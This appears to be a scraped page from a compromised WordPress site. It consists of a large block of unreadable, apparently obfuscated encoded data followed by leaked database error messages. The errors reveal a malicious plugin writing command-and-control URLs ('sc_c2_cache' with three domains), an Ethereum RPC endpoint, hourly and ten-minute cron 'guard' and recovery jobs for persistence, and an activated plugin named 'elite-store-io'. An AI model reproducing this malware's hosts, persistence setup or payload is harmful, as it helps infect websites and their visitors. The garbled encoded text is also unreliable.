W_Q	 VOFlFFFFB^^V
VF[F&	^R_ NW_^TONBV	_OFFYFFTWUQSQNBV	_OF\FFF 
]lFFFFFFF FFFFFNP

_
TNTU_PONB^^V
VOOFFF 	FNB^^V
VFFFFB
V
OFFFFlllFFFFFF FFFNP

_
TNTU_QONB
V
JFFKNPKTOOF[[[FFFF	^R_ NTTTQOOFFFFB9
=;FF[FFBV	_FFHFFAIAFFFFFFHFFFFFB
V
]llFFFFFFFB^^V
VFFFF[FF&	^R_ NW_^TONBR^OFFFFYFFTWUQSQNBR^OFFFF\F 
]lFFF FFNU	NTU_^ONB^^V
VOOF 	FFFNB^^V
VFFFFFFFFB
V
OFllFFFFB_9TS
SFFF[FFFBR^FFFHFFFAIAFFHFB
V
]lF FFNG&U	NTU__ONB_9TS
SOOF	]lllB ^S
9UF[FFTWUQSQNB_9TS
SO]lFFFFFF FNG9UNTU_^ONB ^S
9UOOFFF	]l 	FFFNB ^S
9UFFFFFFBVWOFFllllF FFNP

_
TNTRVVONBVWJFFFFKNVTMVTOOFF[[[FFFFF	^R_ NTTTQOOFB9
=;FFF[FFFFB_9TS
SFFHFFFFFAIAFFHFBVW]lFFFFFFlFlFFNB^^V
VJFB
V
JFBVWJFFFFB_9TS
SJFFFFFFB ^S
9UO]llFFFFFFFFB
V	RFFF[FFFFF	^R_ NW__SONBQ	^JFF9UNTRVWOO]lFFFFFF 	FFFNB9
FFFB_V
S 9RUOFFlFFF FFNB_V
S 9RUFFF[[[FBQ	^OFF	]llFFBR
RQTFF[FFF&	^R_ NTRVTONB_V
S 9RUO]llFF FFFFFNGBR
RQTFFFFNBR
RQTFFCFFFFNWVUSRTKUSRTOOFG[[FFNVSV MV_POOFFlB_V9 SFF[FFF&	^R_ NTRVUONB_V
S 9RUO]lFFFFFF FFFFNGB_V9 SFFFFB_V9 SFZFFNRMR_POFFFFFFB_V9 SFFXFFFFFFNSTRT^QW^M^TOOFF	]lFFFFlFB
VTUFF[FF&9UNTU_WONB_V
S 9RUJFFF 
JF

JFFVJFNV_RQMVP_OO]lFFFFFFF FNG	^R_ NTUTTONB
VTUOFF9UNTRVRONB
VTUJFF9UNW_^_OOFF[[[FF 
OFFF	]lFF FNG9UNTRVSONP

_
TNW__WOJFB
VTUJFB^
UOOFFFF	]lFFFF FFFFN	^R_ NW__SONB_V
S 9RUJF	^R_ NTRVWOOFFF[[[FB
V	RFF@@FFFFB^
U=W;FF[[[FBQUTOFFFFFlFF FFNGQSTS	QQNB_V
S 9RUOOFFFFFFllllFFFFFFF FNQ
SV9TNB_V
S 9RUJFB_V
S 9RUFFHF	^R_ NW_^OOFFF@@FFFFFF	^R_ NTUSSON9UNTRVPOOOF&	9
NB_V
S 9RUJFO]llllFFFlF	]lFllllFFFFF FN	9	NB^
U=W;JFFBQUTJFFFAZAOOFFFlFFFBR	SS^F[FFFFRRQ
NB_V
S 9RUO]lFFF FNBR	SS^FFFF[[[FFFFF 
OFFFlF	RR^TT9
N9UNTRVQOJFFFFF9UNW__TOFFFFFHF	^R_ NTRV^ONB_V
S 9RUOO]lFF	]lFFFFFll FNBR	SS^FFFF[[[FOFFlFF FFFFNQ
SV9TNB_V
S 9RUJFFB_V
S 9RUFHFFF	^R_ NTRV_OOOFFlFFFFFFFF FFN9UNTUSSONU	NTRVPOOOF&	9
NB_V
S 9RUJFFFO]lFlFFFF&P

_
TNQQWONU	NTV_QONB_V
S 9RUOFFFHFFFF	^R_ NQ__OFFFFHFFU	NTRWVONB_V
S 9RUJFFFP

_
TNTRWWOOO]l	]lFFFlFF&U	NQQWONB_V
S 9RUO]llllF&P

_
TNQQWON9UNTV_QONB_V
S 9RUOFFFHF	^R_ NTRWTOFFHFF9UNTRWVONB_V
S 9RUJFF	^R_ NTRWWOOO]BUV99[PSQU]B
QUR[BUV99CQ]lFF FN	^R_ NTUSSON	^R_ NTRVPOOOF&	9
NB_V
S 9RUJFFO]llllFF	]lFFlBTS
WFFFFFF[FFN9UNTRWVON	^R_ NTRWUONB_V
S 9RUOOFF[[[FFFFU	NTRWROFFFU	NTRWUONB_V
S 9RUOFFFFF[[[FFBV	_O]lFFF FFNGBTS
WFF@@FFFFF	^R_ NTUSSONU	NTRWSOOOFFlFFFFFFFFB U_	F[F9UNTRWVON	^R_ NTRWPONB_V
S 9RUOOFFFHFFAIAFFHFFF	^R_ NTRWQONB_V
S 9RUO]lFBPUW_FFF[FNOFF&9		NU	NTTTPOJFFNOO]lFFFFFBTS
WFFF[FF9UNTTTSONB U_	JFBPUW_JFFO]lF FFFNGBTS
WF@@FFFU	NTRW^ONP

_
TNTTQOOFFFFFF@@FF9
NOF@@FU	NTRW^ONP

_
TNTT_OOOFFlBS R_WP^^ F[FFFFFNOFF&99		N9UNTRW_OJFFNOO]llllFFFBTS
WFFF[FNBS R_WP^^ =B U_	;O]lFNBS R_WP^^ O]llFlFFFFFFNB U_	JFFFBPUW_O]llllFFFlF FFNGBTS
WOF	]lF FFN	9	NB^
U=W;JFFFFBQUTJFAXAOOFlFF FFFFFNQSTS	QQNB_V
S 9RUOFFFF@@FFGV	 SNB_V
S 9RUOOFF]lB 

F[FFFFU	NTRTVONB_V
S 9RUOFHFFFFFU	NTRTWOFFHFFF	^R_ NTTQUONB_V
S 9RUO]lF FN&9UNTTUUONB 

OFFFF@@FFFNOF&U	NTRVTONB 

OFFFFZFP

_
TNTUWQONOFKFFFFNWSMRSOOFFlFB_QPFFFFF[FFP

_
TNTRTTONAAJFFFFNOF&	^R_ NTU_WONB 

OO]lFF FFFN	^R_ NTRTUONB_QPOFZFTFFFB_QP=V;FG[[FB^
U=W;FFFFFFNOFB_QP=W;FG[[FNOFFFFF&U	NTRVUONB_V
S 9RUOOFFFlFFFF&9UNTRTRONB 

O]l	]ll FFNRRQ
NB_V
S 9RUOFFFFG[[F 
OFFFlllFFFU9
 NB_V
S 9RUJFFNV^^MVWWOO]llFFFFFF FFN
VUNB_V
S 9RUOOFFlFFFFFF&U	NTRTRONB 

O]ll FNP

_
TNTRTSON9UNTRVPOOOFFF&	9
NB_V
S 9RUJFFFO]lFFlFllFF	]lFFlF&9UNTRTPONB 

JFB^
U=W;FFFFHFAAFHFFNOFFFF&U	NTRTQONB_V
S 9RUOO]lFFFFF	]lllFFFlFFF FFFFFFNB^
U=W;FF[[[FFBQUTOFFllFB 	QTU FFF[F
^W^PRNO]BUVR[TWWV]B
[BUVRCS]lFFFFB_UWF[F 
]lF FNGNB 	QTU =P

_
TNTRT^O;OOFFFFFlFB^WRSFF[FF&	^R_ NW_^^ONB 	QTU =P

_
TNTRT^O;O]llllFB
T^VFFF[FF&P

_
TNW_^^ONB_V
S 9RUO]lF FN	^R_ NTUTTONB^WRSOFFFFF@@F	^R_ NTUTTONB
T^VOFFFF@@FFFFFFB^WRSF[[[FFB
T^VF@@FFFWT QNB 	QTU OFFFF[[[FU	NWQSWOFFFFFF@@FFFQSTS	QQNB_V
S 9RUOOF]llFFFF FFNP

_
TNTUTTONB^WRSOFFF@@FFFFB^WRSF[[[F&	^R_ NTRT_ONBQ	^OOFB_UWFFFF[F]llF FNGB_UWF@@FFFFFGQSTS	QQNB_V
S 9RUOOFFBQR
[UMSR]B
W
[BQR
KTR]lF FFNV	 SNB_V
S 9RUOFFFFFFRRQ
NB_V
S 9RUOFG[[FFFF 
OFFFFFl FFFNQ
SV9TNB_V
S 9RUJFFFFB_V
S 9RUFHFFFFFF	^R_ NTRV_OOFFF@@FP

_
TNTRUVONU	NTRVPOOOFF&	9
NB_V
S 9RUJFFFFFO]lFlllNB 	QTU JFFB_UWJFFB^WRSJFFB
T^VO]l	]lFFFFllFlFFFFFF FFFNGB_UWFF@@FFU	NTRVVON	^R_ NTTQUON	^R_ NTRWQONB_V
S 9RUJF	^R_ NTRUWOOOJFFVJFNTMWVOOFFFFXFFFU	NTRUTONP

_
TNTRUUONB
V	ROJFVJFNUZZTOOOFFF]lFFFFNB 	QTU JFB_UWJFB^WRSJFB
T^VO]lFllFFFFlFNBQ	^JFFBQUTJFB
VTUJFFFFB^
UJFB9
JFFFBV	_JFFBR^JFFB_V
S 9RUJFFFFBR
RQTJFB
V	RJFFB_V9 SJFBR	SS^JFFFFFFB 

JFFFB_QPO]llFFFFFFFFN2	
FFFB
WSW9TOFFlFFFFN#	FFB
WSW9TOFllFFFFFF FFFNNB!*)$'*5=9UNTRURO;OOFlFFFF FFN	9	NNOFFB!*)$'*5=P

_
TNTRUSO;JF^P	PU QNOJFFU	NTRUPOOOFFF]lB!*)$'*5=U	NTRUQO;FFF[FFFFFW]lFF
 FN NU	NTRU^OOOFFlB_ _FFFF[FFFF	NU	NTRU^OO]BTR[KR]B
[NBTRXVOYBTR\KBTR]l FN9UNTUTTONB_ _OFFFF@@FF	^R_ NTRVSON	^R_ NWPS^OJFFFB_ _OFF@@FFFF	9	NB_ _JFFF^P	PU QNOJFFFF9UNTRUPOOOF]lFB!*)$'*5=9UNTRU_O;FF[FW]lFNB_ _O]llllFFFlIIFF
	llFFFFFFFB!*)$'*5=9UNTRUSO;FFFF[F^P	PU QNO]lllFFFF FFNP

_
TNTRUVONP

_
TNW^WOOOF&
NJFFFFWP__VVUVNOO]lFB!*)$'*5=P

_
TNW^VO;FFFFFF[FNOFF&P

_
TNTRTQONWP__VVUVNOOFFFFHFFFFFA\AFFFHFFNOFFF&	^R_ NTRVTONWP__VVUVNOO]l FFFFNG N	^R_ NTRU^OOOFFF NU	NTRU^OJF^P	PU QNOO]lFFF FFNG NP

_
TNTRRVOOOFFFFF NU	NTRRVOJFFF^P	PU QNOO]lllPSU_^_U
T_NP

_
TNTRRWOO]lFFFFFllllFFP9WVQQ NWP__VVUVNOO]lF FFNU	NTRUVONP

_
TNTRRTOOFFFFF@@FF9UNTRUVONP

_
TNTRRUOOOFlFFFFFFlFFFFFBQ  Q	9FF[F9	_	^R	VVNO]lFFFFllFFFFFF FFFN&P

_
TNTU__ONBQ  Q	9OOFlIIF16F4#52F'6/FT\F
	F
K
llllB	R^9F[FFF^SU^S
_NO]lllFB_^_V9FF[FTWUQSQNBQ  Q	9O]llllFF FN	^R_ NTU_^ONB_^_V9OOFlFFFF 	FNB_^_V9FFFFFFB		RTSPUROFll FFNB		RTSPURFFF[[[FB	R^9OFF	]lFFF FFNU	NQQON	^R_ N^TTONB		RTSPURJFFF	NU	NTRRROOOOFFFG[[F	^R_ NWTSWOOF	]lllFB^QTVF[FFBQ  Q	9FFFHFAIAFHFB		RTSPUR]lFF FFFN&P

_
TNTTUUONB^QTVOF@@F&9UNTRTQONB^QTVOFXFFFNR_PRMUPOF@@FF_9
U NB^QTVJFFNV_W^MVQVOOOFlF9	S
W NB^QTVO]lFFFFFlllFlFlFFFFFFFFFN2	
FB
WSW9TOFFFlIIF6.63FWV\F	KF	Kll	RR^TT9
N	^R_ NTRTOJFFFFFB
WSW9TO]lFFFFFFFFN#	FFFB
WSW9TOFlIIF	F	llllFFlFFFFlIIF&

F	llFFFFlFF FFFFFFNGFFFUW_U9W^NOOFlFT
VVUNU	N^__OJFF	^R_ NTRRSOJFFWO]lllFlFFlFFFFB!*)$'*5=U	N^P^O;F[FFFFNO]FFlFB!*)$'*5=U	NR^TO;FF[FNO]FFFFFlllFFFFFFB!*)$'*5=9UNTUTRO;F[FDD]FFFFlF FFFFN9UNTRUVONP

_
TNTRRPOOOFFFFFFlFFFFFFFF	^R_ NTRRQON9UNTRR^OO]BWU^[QUS^]B _[BWU^CWR]llllFP

_
TNTRRQON	^R_ NTRR_OO]llFlFFFFFFB SUVVFFF[FFFP

_
TNTRTVONWP__VVUVNOOFFFFHFFFFFFP

_
TNWQPTOFFHFFF	^R_ NTRSVONWP__VVUVNOJFFFF9UNTRUWOO]BP9P_RR	^[6.69+',)490#45/)(]BS_U^[BP9P_RR	^LS]llF FFN&	^R_ NTTUUONB SUVVOOFFFFFllB	
SS^PRQFFF[FFF9UNTRSWONNOF&U	NTRSTONB SUVVOO]lB9^QV_FFF[FFFU	UTNO]lFF FNB	
SS^PRQFFFF[[[FFFFDDFFFFFB	
SS^PRQFFG[[FFB9^QV_OF
VUNB SUVVO]lFNB	
SS^PRQJFFFFFB9^QV_O]lFFlFFFFFllFFFFF&P

_
TNTWONP

_
TNTRSUONWP__VVUVNOOFHFP

_
TNTRSROFFHFFF9UNTRSVONWP__VVUVNOJFF9UNTRSSOOO]lFFB9_UWR VVFFFF[FFFFF	^R_ NTRSPOFHFU	UTNO]lF 	FFFFFNNP

_
TNTRSUONWP__VVUVNOOJFF9	_	^R	VVNOOFFFFB	9 T^QOFlFF FN&9UNTTUUONB	9 T^QFFFHFFFAIAFFHFFFFFB9_UWR VVOOFFFFF&P

_
TNTRSQONB	9 T^QFFFFHFFAIAFFHFB9_UWR VVO]lllllFFFFFFFNB9_UWR VVJFFB	9 T^QO]lFFFFFFFFFFFFN2	
FFB
WSW9TOFllFFFFFFFN#	FFFFB
WSW9TOFFFFlllllFFFFFFNB SUVVO]lllFFFlFFFFFFFT
VVUN	^R_ N_VWOJFFFFFU	NTRS^OJFFFFVO]lFFFT
VVUN9UN_VWOJFFP

_
TNTRS_OJFFFVO]lFT
VVUN	^R_ NTRPVOJFFFFFU	NTRS^OJFVO]lFT
VVUN9UNTRPWOJFF	^R_ NTRS^OJFVO]lFFT
VVUN9UNTRPWOJFFFFFFU	NTRPTOJFFFFTO]lFFFT
VVUN9UNTRPWOJFFF	^R_ NTRPUOJFFFNTUS8TUTOO]lFT
VVUN	^R_ NTRPWOJFFF	^R_ NTRPROJFFNTMTOO]lT
VVUNP

_
TN^__OJFF9UNTRPSOJFNWMROO]llllFFU9VS_Q^SNP

_
TNTRPPOJFFF	^R_ NTRPQOJFNWRV8WUROJFFFWO]lU9VS_Q^SNP

_
TNTRP^OJFFP

_
TNTRPQOJFFNTVV8W_ROJFWO]llFU9VS_Q^SN	^R_ NTRP_OJFFU	NTRQVOJFFNQMUOJFFFFFFWO]lFFU9VS_Q^SN	^R_ NTRQWOJFF9UNTRQVOJFNTM^OJFFWO]llFFFFU9VS_Q^SN	^R_ NTRQTOJFFFU	NTRQUOJFFFNWWQM^^TOJFFNUR8UUOO]lllFFT
VVUN	^R_ NTRQROJFFFF9UNTRQSOJFFFFFFNUWRMP^SOJFTO]lFFFFFlFU9VS_Q^SNP

_
TNTRQPOJFU	NTRQQOO]lFU9VS_Q^SN	^R_ NTRQ^OJFFU	NTRQ_OJFFFNVSMVSOJFFTO]lU9VS_Q^SN9UNTR^VOJFFFFFU	NTR^WOO]lFFFlFFU9VS_Q^SN9UNTR^TOJFFFFFF	^R_ NTR^UOJFFNVQMVUOJFWO]lFFlFFU9VS_Q^SN	^R_ NTR^ROJFFF	^R_ NTR^SOJFNSMSOJFFFTO]lFT
VVUNU	NTR^POJFFU	NTR^QOO]lU9VS_Q^SNP

_
TNTR^^OJFFFFF	^R_ NTR^_OO]lFlFU9VS_Q^SN	^R_ NTR_VOJFFFFP

_
TN_RPOO]lFlT
VVUNP

_
TNTR_WOJFFFFFF9UNTR_TOJFFFKN_^TMWQOO]lT
VVUNU	NTR_UOJFP

_
TNTR_ROJFFFFFKNWW^RKW^SOO]lT
VVUNU	NTR_SOJFF	^R_ NTR_POJFFFFKNWWUSKWUPOO]lFFFFFFlT
VVUNP

_
TNTR_QOJFFFFFU	NTR_^OJFFFFN_WRM^SOO]lFFFFT
VVUN	^R_ NTR__OJFFFP

_
TNTSVVOJFVO]llllFFFT
VVUNP

_
TNTSVWOJFFF9UNTSVTOJFFN_S^MRWOO]lFFT
VVUNP

_
TNTSVUOJFFU	NTSVROJFFFFFFN__SMROO]lFFlFFFFFT
VVUN	^R_ NTU_OJFFP

_
TNTSVSOJFFFFFTO]lT
VVUN	^R_ NTU_OJFF9UNTSVPOJFVO]llFFFFFFT
VVUN	^R_ NTU_OJFFFF	^R_ NTSVQOJFFFFFFVO]lFT
VVUN9UNTU_OJFP

_
TNTSV^OJFFFVO]lFFlT
VVUN	^R_ NTU_OJFFP

_
TNTSV_OJFFFWO]lFFFFFFFT
VVUNP

_
TNTU_OJFP

_
TNTSWVOJFFFTO]llllFFFFT
VVUNP

_
TNTU_OJFFFP

_
TNTSWWOJFFFFNVTMVWOO]lT
VVUN9UNTU_OJFU	NTSWTOJFFNVWMVUOO]lllT
VVUNU	NTSWUOJF9UNTSWROJFFFFFNWMROO]lFT
VVUN	^R_ NTSWUOJFP

_
TNTSWSOJFFFNUMUOO]lFFFT
VVUNP

_
TNTSWUOJFU	NTSWPOJFFNTQ8T_OO]lFT
VVUN	^R_ NTSWUOJFFFU	NTSWQOJFFFNSMWOO]lFFFFFT
VVUN9UNTSWUOJFFU	NTSW^OJFNWUKPOO]BS_[TRW^S]BTRS[BS_8TU_]lFFFF FFFFFN9UNTRUVON	^R_ NTRRQOOOFFBR_V[_QS]BRQSWQ[BR_V8WWU]lFFP

_
TNTRRQON 	FFNOFFFFFlll FNGNB!*)$'*5=9UNQ_QO;OOFF]lFFF FFNG NU	NTTWQOOFFG	^R_ NTRUVON	^R_ NTSW_OOOFFF]llll FFFN	^R_ NTSTVONU	NTSW^OOOFlFlF
 SRNO]lFFFFFFFFN2	
FB
WSW9TOFFlFFFFFFFFN#	FB
WSW9TOFFFFFlFFFFFlFFFFFlO]lFFFlFFFFFT
VVUNP

_
TNTSWUOJFF	^R_ NTSTWOJFFNWUKSOO]llllFFFT
VVUN9UNTWUVOJF9UNTWUVOO]lFFFT
VVUN9UNTWUWOJFF9UNTSTTOO]lT
VVUNP

_
TN^__OJFFFFF9UNTSTUOJFFFFNUMQOO]lT
VVUNP

_
TNTSWUOJFF 	FFNOFFFlFFF FFFFFNGP

_
TNTSTRON	^R_ NTSW_OOFFGU	NTSTRON9UNTSTSOOOF]llllFFFFFFB 9WP
FFF[FFFFNOF&9		NP

_
TNTSTPOJFFVO]lFFFF FFFFNNU	NTUWQONOFFFFFFKFB 9WP
OFFXFFNRWUUKSUUOOFFFFFlllFFFF&9		N	^R_ NTSTQOJFFF9UNTST^ONOO]l^
PQP_W^NO]lFFFFFFlJFFFNWSKPOO]llllFFFFFlFFFFFT
VVUNP

_
TNQUOJF	^R_ NTST_OO]llllFU9VS_Q^SNP

_
TNTSUVOJFFU	NTSUWOO]lFFFFFF FNU	NTSTRON9UNSTWOOFFF@@FF9	NU	NTSUTOOOFFFlFFT

UVUNO]lFllllFFll9	NA9AJ 	NOlFFFF9		9NA5AJA5AJA9		AJA	K		
K KAJ 	NOlFFFFFFFF	FAZF
[DDXZWX5ZIWXZ 	F	[D	DF	[D		HDXA]lFFFFFFFF9 
NA	K		
K 9	AO]lFFFFFFFF	99	NA	K		
K KAO]lFFFFFFFF9	NO]lFFFFFFFF	FAZI 	XZIXA]lFFFFO]lO]l9	NA9AJ 	NOlFFFF9NA	K		
K 9	AJA	K		
K 9		AO]lFFFF99	NA	K		
K 9AJA%	 	AJ 	NO	FAZX%	 F		F
	HZIXA]JA	K		
K KAO]lFFFF99 
NA	K		
K 9AJA%F+	AJ 	NOlFFFFFFFFB	[9		NA	K		
K 9		AJNOO]B[NB	=AA;OYB	=AA;\A
A]lFFFFFFFF	FAZ
F[DAH9NA	K		
K 9		=;AOHADXZ		F
[D
DAH
NBJA
AJ 
OHAX#
ZI		XZ		F
[D
DAH
NBJA
AJ 
OHAX"
ZI		XZI
XA]lFFFFJA	K		
K KAJA	K		
K 9AO]lO]l N 	9NA9		AOO9		NA	9		
9 9AJ 	NOlFFFFB	[9		NA	K		
K 9		AJNOO]lFFFFFAZGKKF\FAHNNB	=AA;OYB	=AA;\A	AOHAFKKXA]lO]l N 	9NA9	
9AOF@@F 	9NA9	9		AOO9	9		N99 /*#99J 	NOlFFFF NG9		NA	K		
K 9		AOO9		NA	K		
K 9		AJNAA[XA
AJA	A[XAWHVAOO]lO]lD]', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_fetch_ts', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_fetch_fails', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_fetch_fail_ts', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_initialized', '4.3.24', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_rpc', 'https://0xrpc.io/eth', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_c2_cache', 'https://basic-junior.com/SGct2K\nhttps://railroad-boot.com/SGct2K\nhttps://great-basic.com/SGct2K', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788552703;a:1:{s:16:\"v8dylt676e918ugr\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788553003;a:1:{s:13:\"sc_cron_guard\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:17:\"sc_guard_interval\";s:4:\"args\";a:0:{}s:8:\"interval\";i:600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_recovery_check', '1788552403', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('active_plugins', 'a:1:{i:0;s:33:\"elite-store-io/elite-store-io.php\";}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)